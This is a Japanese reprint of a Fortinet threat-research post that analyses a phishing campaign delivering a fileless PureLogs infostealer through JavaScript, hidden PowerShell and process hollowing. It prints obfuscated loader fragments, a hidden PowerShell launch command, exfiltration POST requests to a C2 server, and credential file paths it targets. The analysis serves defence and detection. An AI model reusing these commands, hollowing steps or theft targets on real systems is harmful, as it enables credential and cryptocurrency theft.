JavaScriptを用いて機密データを収集するPureLogs亜種を分析
提供: フォーティネットジャパン
本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「JavaScript駆動型のPureLogs亜種を展開し、機密データを窃取するフィッシングキャンペーン」を再編集したものです。
米国時間2026年5月26日に掲載されたフォーティネットブログの抄訳です。
影響を受けるプラットフォーム:Microsoft Windows
影響を受けるユーザー :Windowsユーザー
影響 :被害者のコンピュータから機密データを収集
深刻度 :高
背景
FortiGuard Labsは新たに、被害者のデバイスから機密データを収集するよう設計されたPureLogs亜種を配信するフィッシングキャンペーンを確認しました。分析では、本キャンペーンについて詳しく解説するとともに、フィッシングメールの内容や、JavaScriptファイルが被害者のデバイス上で動作する仕組みを詳細に説明します。
キャンペーンでは、注文書を偽装したメールが使用されています。これは、受信者に悪意のある添付ファイルを開かせるために多く用いられる手法です。
以下のセクションでは、感染チェーン、フィッシングメールの特徴、難読化されたJavaScriptファイル、PowerShellの実行、プロセスホローイング、ダウンローダーモジュールの展開などの後続の攻撃段階について詳しく説明します。
感染チェーン
図1に、このフィッシングメールキャンペーンの感染チェーンを示します。
フィッシングメール
このフィッシングメールは、注文書を偽装しており、RAR形式のアーカイブファイルが添付されています。受信者は、偽の注文書を確認するよう促され、添付ファイル(PO 2026-P0803.rar)を開くよう指示されます。当該メールを図2に示します。
メールの件名フィールドには「virus detected」と記載されています(図2を参照)。このメールはFortiMailサービスによってブロックされるため、受信者に配信されることはありません。
難読化されたJavaScriptファイル
添付されたRARアーカイブには、kpankocrs.jsという悪意のあるJavaScriptファイルが含まれています。図3に、難読化されたJavaScriptコードを示します。
JavaScriptファイルが実行されると、PowerShellコードの一部を復号し、ランダムな名前の.ps1ファイル(例:ps_qnSEGUkU0LIY_1777592585573.ps1)として、C:\Tempフォルダに保存します。
その後、JavaScriptコードは以下のようにPowerShellファイルを実行します。
…
Q: CMD = Vc(0x111) + Vt(0x142) + Vu(0x11e) + oW(0x21d) + Vw(0x150) + V3(0xf8) + VL(0x105) + Vn(0x102) + Vy(0x130) + od(0x1c1) + Z(0x158) + SCRIPT_PATH + '\x22';
PROC = SHELL[V5(0x108)](CMD), START = new Date()[oW(0x17b)]();
…
上記のコードが実行されると、CMD変数に次の値が設定されます。 'powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Temp\ps_qnSEGUkU0LIY_1777592585573.ps1"'.
また、SHELL[V5(0x108)](CMD)は SHELL[“Run”](CMD)に解決され、ドロップされたPowerShellファイルを実行します。
図4のプロセスツリーのスクリーンショットは、wscript.exe(JavaScriptファイルを実行するWindows Script Host)によってPowerShell.exeプロセスが起動され、ドロップされたPowerShellファイルが実行されていることを示しています。
ドロップされたPowerShellファイルの分析
ドロップされたPowerShellファイルには、暗号化されBase64でエンコードされた大規模なデータブロックが含まれています。このデータは、まずBase64でデコードされた後、XORとビット回転処理を組み合わせた手法によって復号されます。
その結果、ファイルレスのPowerShellスクリプトが、Invoke-Expression {PowerShell code}を使用して実行されます。
図5に示すように、このスクリプトは、 $ScriptContent変数に保存されているファイルレスのPowerShellコードを実行しようとします。このコードはBase64でデコードされ復号されています。図の下部に、$ScriptContent 変数に保存されたファイルレスPowerShellコードの一部を示します。
ファイルレスPowerShellコードは、プロセスホローイングを利用して、2つの.NETモジュールを抽出してメモリ内で実行します。プロセスホローイングを実行するために、次のコードが使用されます。
$result = Invoke-AssemblyMethod -BinaryData $rawBytes `
-TypeName 'MAFF.ProcessHollowing' `
-MethodName 'Execute' `
-MethodArgs $invokeParams
・Invoke-AssemblyMethod は、PowerShellで.NETアセンブリを読み込むために使用されます。
・$rawBytes は、抽出された.NETモジュール(「MAFF」)を保持しており、その「MAFF.ProcessHollowing.Execute()」メソッドが呼び出されることで、プロセスホローイングが実行されます。
・$invokeParamesには、次の2つのパラメータが含まれています。
・プロセスホローイングの対象プロセスのフルパスです。これは、C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeがハードコードされたものです。
・プロセスホローイングによって展開される別の.NETモジュール(Iwnflr.exe)です。
その後、MAFF.ProcessHollowing.Execute()メソッドが呼び出されると、プロセスホローイングを実行するために以下のAPIが使用されます。
CreateProcessA(), ZwUnmapViewOfSection(), ReadProcessMemory(), WriteProcessMemory(), VirtualAllocEx(), GetThreadContext(), SetThreadContext(), and ResumeThread().
図6は、.NETモジュールの「Iwnflr.exe」がCreateProcessA() APIを呼び出し、一時停止されたMsBuild.exeプロセスを作成していることを示しています。
ダウンローダーモジュールの抽出
プロセスホローイングの対象となるMsBuild.exeプロセス内で実行される.NETモジュール(Iwnflr.exe)は、以下の手順で、名前付きリソースからダウンローダーモジュールを抽出して実行します。
・「Eqxcpvgf.Ybrgdoxas」という名前のリソースからデータを読み込みます。リソース名をパラメータとしてResourceManager.GetObject()メソッドを呼び出し、図7に示すようにデータを読み込みます。
・リソースデータは、DESアルゴリズムによって復号されます。
・DESで復号されたデータをgunzipで展開し、マルウェアのダウンローダーとして機能する.NETモジュール(Rmiyj.dll)をメモリ上に復元します。
・• 抽出されたモジュール(Rmiyj.dll)は、Reflection.Assembly.Load()メソッドを使用して読み込まれ、モジュールの実行開始メソッドが呼び出されます。図8に、ダウンローダーモジュールの実行開始メソッド「iyvIXAqfXvogv46vck.opr2xfZUr15bo4oEyY.zYwtW19n4()」の呼び出しを示します。
ダウンローダーモジュールの解析
分析の結果、このダウンローダーモジュールは、C2サーバーから追加のプラグインモジュールをダウンロードし、現在実行中のMsBuild.exeプロセス内で実行できることが確認されました。
ダウンローダーモジュールは、リソースの1つから構成ブロックをデコードして読み込みます。この構成ブロックには、図9に示すように、C2サーバーの情報およびAES暗号化キーが含まれています。
このマルウェアは、C2サーバーが稼働していることを確認するため、URL /pingにGETリクエストを送信します。図10に示すように、ダウンローダーモジュールはHttpClient.GetAsync() メソッドを呼び出して/pingリクエストを送信します。
その後、ダウンローダーモジュールはプラグインをダウンロードするため、C2サーバーへPOSTリクエストを送信します。
POSTパケットの構造は次のとおりです。
POST /plugin HTTP/1.1
Content-Type: application/octet-stream
Host: 77[.]83[.]39[.]211:8443
Content-Length: 48
Connection: keep-alive
{ ランダムIV + 暗号化されたPOSTデータ }
C2サーバーのIPアドレスとポート番号は、構成ブロックから取得されます。POSTの本文は、ランダムなIVとAESで暗号化されたデータで構成されています。暗号化データは、GZIPで圧縮された「\x42\x00」ペイロードを、構成ブロックに含まれるAESキーとランダムIVを使用して暗号化したものです。
「\x42\x00」はプラグインIDであり、C2サーバーはこれに対応するプラグインモジュールを応答として返します。
応答パケットでプラグインモジュールを受信すると、マルウェアは構成ブロックに含まれるAESキーと、応答データの先頭16バイトに配置されたIVを使用してAES復号を行います。続いて、復号されたデータを解凍 (GUNZIP)し、元のプラグインモジュールをメモリ内に復元します。
その後、プラグインモジュールは現在実行中のMsBuild.exe プロセス内に読み込まれて実行されます。これにより、マルウェアはC2サーバーからプラグインをダウンロードして、機能を動的に拡張できます。
なお、このダウンローダーが要求するプラグインモジュールは「\x42\x00」のみです。
ファイルレスプラグインモジュール:PureLogs
プラグインモジュール(named zgSGkYYzqVe.dll)は、メモリ内にのみ存在するファイルレスのPureLogs亜種です。このプラグインモジュールを分析するため、メモリ内のモジュールをローカルファイルとしてダンプしました。図11に示すように、モジュールは.NET DLLファイルであり、 .NET Reactorや IntelliLockなどの商用の難読化ツールによって保護されているとみられます。
ダウンローダーによってプラグインモジュールがロードされると、モジュールの実行開始メソッドが取得され、実行されます。
図12は、完全に難読化されたプラグインモジュールが、実行開始メソッドで一時停止された状態を示しています。このメソッドに渡されるパラメータは、ダウンローダーモジュールから渡された構成ブロックであり、Base64でエンコードされています。
PureLogsの機能
PureLogsモジュールを分析した結果、このマルウェアの主な機能は、被害者のシステムから機密データを収集することであることが判明しました。収集対象には、基本的なハードウェア情報やシステム情報のほか、保存された認証情報、暗号資産関連データなどが含まれます。マルウェアは収集したデータを圧縮および暗号化した後、C2サーバーへ送信します。
以下のセクションでは、収集される情報をカテゴリ別に紹介します。
ユーザー情報
図13に、プラグインモジュールによって被害者のデバイスから収集された情報を示します。収集される情報には、以下が含まれます。
・JPEG形式のスクリーンショット
・インストールされているアンチウイルスソフトウェア(例:Windows Defender)
・ビルド名(例:KPANKO)
・被害者のOS(例:Windows 10 Pro)
・プロセッサ情報
・現在実行中のプロセスのフルパス
・ユーザー名
・画面解像度(例:1920 x 947)
・物理メモリサイズ
・クリップボードのデータ
・現在の日時
このマルウェアは、収集したすべての情報をシリアライズした後、GZipで圧縮し、さらに構成ブロックで指定されたAESキーを使用して暗号化します。
図14に、C2サーバーへ送信される暗号化済みの収集データを含む最終的なPOSTリクエストの内容を示します。
ブラウザ情報
このマルウェアは、被害者のデバイスにインストールされている一般的なWebブラウザから、さまざまな機密データを収集します。これらのデータには、ログイン認証情報、閲覧履歴、自動入力情報(氏名、住所、メールアドレス、電話番号、決済情報など)、ブラウザのCookie、セッショントークンなどが含まれます。
図15は、収集した機密データを圧縮するメソッドで実行が一時停止された状態を示しています。このメソッドが処理を終了すると、GZip圧縮されたバイトストリームが生成されます。パラメータ「\u0020」には、分析環境のMicrosoft Edgeブラウザから収集された認証情報がシリアライズされたデータが格納されています。Edgeの認証情報は、「%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data」ファイルから抽出されます。
収集された認証情報は、構成ブロックで指定されたAESキーとランダムに生成されたIVを使用して暗号化された後、以下に示すHTTP POSTリクエストを介して送信されます。ランダムに生成されたIVは、暗号化データの先頭16バイトに保存されます。
POST /browser HTTP/1.1
Content-Type: application/octet-stream
Host: 77[.]83[.]39[.]211:8443
Content-Length: 10928
Connection: keep-alive
{ ランダムIV + 収集され暗号化されたEdgeデータ }
対象のWebブラウザは以下の通りです。
Google Chrome (Stable, Beta, Dev, Canary, SxS, Unstable), Chromium, Microsoft Edge, Brave Browser, Epic Privacy Browser, Amigo, Vivaldi, Kometa, Orbitum, Atom Browser, Comodo Dragon, Torch Browser, 360 Extreme Browser, Slimjet, 360 Secure Browser, 360 Browser, Maxthon, QQ Browser, K-Meleon, Xpom Browser, Lenovo SLBrowser, Xvast, Go! Browser, Secure Browser, Sputnik Browser, Nichrome, CocCoc Browser, Uran Browser, Chromodo, 7Star, Chedot, Cent Browser, Iridium Browser, Elements Browser, Citrio, Sleipnir, QIP Surf, Liebao Browser, Coowon, ChromePlus, Mustang Browser, Suhba, TorBro, RockMelt, Bromium, Twinkstar Browser, iTop Private Browser, CCleaner Browser, AcWebBrowser, CoolNovo, Baidu Spark Browser, SRWare Iron, Titan Browser, Avast Secure Browser, AVG Secure Browser, UC Browser, UR Browser, Blisk, Flock, CryptoTab Browser, Sidekick, SwingBrowser, Superbird, SalamWeb, Ghost Browser, Netbox Browser, Garena Browser, Kinza, Insomniac Browser, Viasat Browser, Naver Whale, Falkon, Sogou Explorer, Opera (Stable, GX, Neon, Crypto Browser), Yandex Browser, Mozilla Firefox, Waterfox, Comodo IceDragon, Cyberfox, BlackHawk, Pale Moon, Basilisk, BitTube Browser, SlimBrowser, LibreWolf and Mercury Browser.
メールクライアント
Mozilla Thunderbird
Discord情報
マルウェアは、機密データを収集するために以下のパスをスキャンします。
"%AppData%\Discord\Local Storage\leveldb"
"%AppData%\DiscordCanary\Local Storage\leveldb"
"%AppData%\DiscordPTB\Local Storage\leveldb"
"%AppData%\DiscordDevelopment\Local Storage\leveldb"
"%AppData%\Lightcord\Local Storage\leveldb"
これらのパスは、安定版、テスト版、開発版など、Discordのいくつかのリリースに対応しています。
このマルウェアは、Discordの認証トークン、セッション情報、ユーザーID、プロファイルメタデータを取得できます。攻撃者はこれらのデータを利用することで、パスワードを知らなくても被害者のDiscordアカウントへアクセスできる可能性があります。また、被害者になりすましてメッセージを送信したり、サーバーへ参加したり、連絡先情報を窃取したりする恐れがあります。
収集したDiscord関連のデータは、次に圧縮および暗号化され、HTTP POSTリクエストを介してC2サーバーへ送信されます。
Discordデータを含むPOSTパケットを以下に示します。
POST /discord HTTP/1.1
Content-Type: application/octet-stream
Host: 77[.]83[.]39[.]211:8443
Content-Length: 1228
Connection: keep-alive
{ ランダムIV + 収集され暗号化されたDiscordデータ }
暗号資産ウォレット情報
このマルウェアは、人気の高い広範な暗号資産ウォレットソフトウェアから機密データを収集します。図16は、暗号資産ウォレット関連のデータを抽出するために、マルウェアが特定のファイル、フォルダ、レジストリのサブキーおよび値をスキャンしていることを示しています。
被害者のデバイスから収集した暗号資産ウォレット情報は暗号化された後、以下のHTTP POSTリクエストによってC2サーバーへ送信されます。
POST /crypto HTTP/1.1
Content-Type: application/octet-stream
Host: 192[.]168[.]10[.]1:8443
Content-Length: 496
Connection: keep-alive
{ ランダムIV + 収集され暗号化された暗号資産ウォレットデータ }
攻撃者は、収集した情報を利用して、暗号資産ウォレットファイル、ウォレットデータベース、暗号資産の秘密鍵、ウォレットソフトウェアに保存された認証情報やロック解除トークン、ウォレットアドレス、公開鍵、取引履歴、キャッシュされたログインセッション、認証トークンなど、さまざまな関連データを取得できる可能性があります。
攻撃対象となる暗号資産ウォレットソフトウェアには、以下が含まれます。
Qtum Core, Monero, Dash Core, Litecoin Core, Bitcoin Core, Dogecoin Core, Coinomi, Armory, Bytecoin, MultiBit, Exodus, Ethereum, Electrum, Electrum-LTC, Atomic Wallet, Guarda, BitPay, Wasabi Wallet, Electron Cash, Sparrow Wallet, IOCoin, PPCoin, BBQCoin, Mincoin, DevCoin, YACoin, Franko, FreiCoin, Infinitecoin, GoldCoin, Binance, Terracoin, Daedalus, MyMonero, MyCrypto, Bisq, Zap, SimpleOS, Neon Wallet, bitmonero and Etherwall.
アプリケーション情報
このマルウェアは、その他の人気のアプリケーションからも認証情報を収集します。
攻撃対象となるアプリケーションには、以下が含まれます。
Microsoft Outlook (all versions later than Outlook 2000), Foxmail, MailBird, MailMaster, FileZilla, Pidgin, OpenVPN, ProtonVPN and DownloadManager.
図17に、FileZillaから収集された認証情報を示します。
これらの対象アプリケーションから収集されたデータは、以下のHTTP POSTリクエストによって送信されます。
POST /application HTTP/1.1
Content-Type: application/octet-stream
Host: 77[.]83[.]39[.]211:8443
Content-Length: 144
Connection: keep-alive
{ ランダムIV + 収集され暗号化されたアプリケーションデータ }
結論
本攻撃キャンペーンは、悪意のあるJavaScriptファイルを配信するフィッシングメールから始まる、高度な多段階型の攻撃チェーンを示しています。このJavaScriptはPowerShellスクリプトを復号して実行し、そのPowerShellスクリプトはプロセスホローイングを利用して、.NETダウンローダーモジュールを信頼されたWindowsプロセス(MsBuild.exe)へインジェクションします。ダウンローダーモジュールはリモートC2サーバーと通信し、別のプラグインモジュールを取得して実行します。これにより、攻撃者は侵害後のマルウェアの動作を柔軟に変更できます。
攻撃キャンペーンは、複数の暗号化レイヤー、ファイルレスでのマルウェア実行、およびプロセスホローイングといった手法を組み合わせることで、防御を回避する能力が極めて高く、従来のシグネチャベースのセキュリティソリューションによる検知を困難にしています。
組織は、メールフィルタリングの強化、不要なスクリプト実行の無効化、ならびに異常なPowerShellの実行やプロセスホローイングを監視することが推奨されます。
フォーティネットのソリューション
フォーティネットのお客様は、FortiGuardのAntiSPAM、Webフィルタリング、IPS、およびアンチウイルスサービスにより、この攻撃キャンペーンから保護されています。
この悪意のあるキャンペーンで使用されているURLは、FortiGuard Webフィルタリングサービスにより、「悪意のあるWebサイト」として分類されています。
FortiMailは、フィッシングメールを検知し、件名に「virus detected」を付与します。さらに、FortiMailに組み込まれたFortiSandboxが提供するリアルタイムのフィッシング対策に加え、Webフィルタリングおよびアンチウイルス機能により、既知 / 未知のフィッシング攻撃に対する高度な保護を提供します。
FortiGuardアンチウイルスサービスは、添付されたJavaScriptファイル、抽出されたPowerShellファイル、プロセスホローイングによって展開される.NETモジュール、およびダウンロードされたPureLogsプラグインモジュールを、以下のアンチウイルスシグネチャによって検知します。
JS/PureLogs.JAE!tr
PowerShell/PureLogs.DUQ!tr
MSIL/PureLogs.C702!tr
MSIL/PureLogs.YBT!tr
MSIL/PureLogs.0EDE!tr
Fortinet FortiGate、FortiMail、FortiClient、およびFortiEDRはFortiGuardアンチウイルスサービスをサポートしており、各ソリューションにFortiGuardアンチウイルスエンジンが組み込まれています。そのため、これらの製品のお客様は、最新の保護機能を既に利用されています。
新たな脅威に関する最新情報を受け取るには、FortiGuard Labsのアラートサービスに登録してください。
また、無料のNSEトレーニング:NSE 1 – 情報セキュリティ意識向上を受講することをお勧めします。このトレーニングにはインターネットの脅威について学ぶことができ、エンドユーザーは各種のフィッシング攻撃を識別して自らを保護できます。
FortiPhishフィッシングシミュレーションサービスは、フォーティネットセキュリティ意識向上トレーニングサービスと連携し、実際のフィッシング攻撃シナリオを用いて、従業員に対して一般的なソーシャルエンジニアリング手法に対処できるようにトレーニングおよびテストします。これらのサービスは、ユーザーが不審なコンテンツを認識し適切に対応する能力を向上させることで、特に注意力が散漫になりやすい状況や緊急性を煽る攻撃に対する耐性を高め、フィッシング攻撃やマルウェア攻撃のリスクを低減できるように支援します。
本ブログでお伝えした脅威またはその他のサイバーセキュリティ脅威の影響を自組織が受けている可能性がある場合は、グローバルFortiGuardインシデントレスポンスチームまでご連絡ください。
IOC(Indicators of Compromise:侵害指標)
URLs
hxxps://77[.]83.39.211:8443/ping
hxxps://77[.]83.39.211:8443/plugin
hxxps://77[.]83.39.211:8443/userinfo
hxxps://77[.]83.39.211:8443/browser
hxxps://77[.]83.39.211:8443/discord
hxxps://77[.]83.39.211:8443/crypto
hxxps://77[.]83.39.211:8443/application
hxxps://77[.]83.39.211:8443/filesearch/req
hxxps://77[.]83.39.211:8443/finish
C2サーバードメイン
hxxps://77[.]83.39.211:8443
関連するサンプルのSHA-256
[kpankocrs.js]
3D510977D60A44322F88100B515F06CB5ED83BABC64247068D1A489595FAA6C5
[ps_qnSEGUkU0LIY_1777592585573.ps1]
670384FAFB23140D96F2F8FE04A13FC8CC8E2A6E5E8C973E39B58D103C5FEA92
[RuntimePayload / Iwnflr.exe]
B90988400CCED319D260C4937F334ECC364785ED5C593CD2139965E62CA58173
[downloader / Rmiyj.dll]
E20B35A8C30E076CDD0E1DF05BA1FF2E418DBD39A674F084787CC0AF2FDA9E95
[plugin module / PureLogs / zgSGkYYzqVe.dll]
07CD03E2082BCB0B890CC59CE4C770D1A095AC6F1AE9CF999F5542555C56F841
本記事はアフィリエイトプログラムによる収益を得ている場合があります
この記事の編集者は以下の記事もオススメしています
-
sponsored
SCS評価制度、“形だけの★3取得”が招いた取引停止の危機 どうやったら防げた? -
sponsored
サイバー犯罪は「産業」へ進化した 個人からインフラまで広がる脅威 -
sponsored
台湾を標的にした複数の標的型フィッシングキャンペーンの詳細


















